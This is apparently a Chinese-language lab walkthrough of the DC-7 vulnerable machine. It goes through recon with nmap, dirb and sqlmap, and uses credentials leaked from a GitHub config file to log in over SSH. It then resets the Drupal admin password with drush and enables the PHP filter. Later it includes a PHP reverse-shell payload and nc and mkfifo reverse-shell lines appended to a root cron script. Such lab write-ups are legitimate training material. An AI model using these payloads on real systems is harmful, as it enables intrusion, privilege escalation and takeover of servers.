信息收集
arp-scan -l
ip是 192.168.146.145
访问网页,说dc7引入了新概念,暴力破解会不成功
用Wappalyzer插件查看cms 是Drupal 8
nmap端口扫描
操作系统探测
nmap -A -sV -O 192.168.146.145
开放了22和80端口 os为linux3.2-4.9
隐藏目录扫描,没有啥有用的
dirb http://192.168.146.145 -X.php
看一下有无sql注入漏洞,没有
sqlmap -u "http://192.168.146.145/?id=1"
发现网页左下角多了个@DC7USER
看到github里边有 staffdb开源项目 点开看到有敏感文件config.php
用户$username = "dc7user";密码$password = "MdR3xOgB7#dW";
网页右上角有个log in 但用户和密码不对
试试ssh登录
ssh dc7user@192.168.146.14
成功登录
邮件信息,Cron <root@dc-7> /opt/scripts/backups.sh 定时执行脚本
cron执行定时任务
gpg命令是 Linux 系统 中对信息进行加解密和数字签名的免费工具,除了能使用常规密码加解密外,还提供了“公钥/私钥对”验证方式
查看脚本内容
Drush 是一个强大的shell接口,
可以直接从云服务器命令行管理 Drupal。它是一个非常有用的工具,可以帮助您使用终端中的一两个命令执行各种管理任务,所有以下命令都需要在 Drupal 安装目录内执行。
因为cd /var/www/html 所以rupal 安装目录就是这个
drush修改密码Drush初学者指南:Drupal Shell-CSDN博客
drush user-password admin --password="123456"
ls -l查看文件权限
第一位代表文件类型,有两个数值:“d”和“-”,“d”代表目录,“-”代表非目录
后面9位可以拆分为3组来看,分别对应不同用户 只有root和www-data用户能修改它
drush修改密码drush user-password admin --password="123456"
可以去登录网站了
需要拿shell
Content里边可以添加basic page ,能添加html类型 没有php类型
PHP 过滤器用于验证和过滤来自非安全来源的数据,能允许执行php代码
Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装
地址 https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
安装扩展
启用 ,勾选,再下拉点击install
回到content编辑welcome to dc7页面,删去,内容改为:
反弹shell脚本
<?php $sock = fsockopen("192.168.146.140", "5555"); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);?>
这段代码,
开启监听nc -lvvp 5555
再访问Welcome to dc7页面,执行php代码
交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
这下拿到www-data的shell了 ,能修改/opt/scripts/backups.sh 并执行
nc 192.168.146.140 6666 -e /bin/bash
echo "nc 192.168.146.140 6666 -e /bin/bash" >> /opt/scripts/backups.sh追加到末尾
echo "nc 192.168.146.140 6666 -e /bin/bash" > /opt/scripts/backups.sh 覆盖原有内容
我猜测不能以wwwdata用户执行,要以root用户执行,这样才能得到root的shell
这里可以以admin用户,运行定时任务,但是还是没有连接上
换个命令 试了下也不行
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.146.140 1234 >/tmp/f" >> backups.sh
nc -lvvp 1234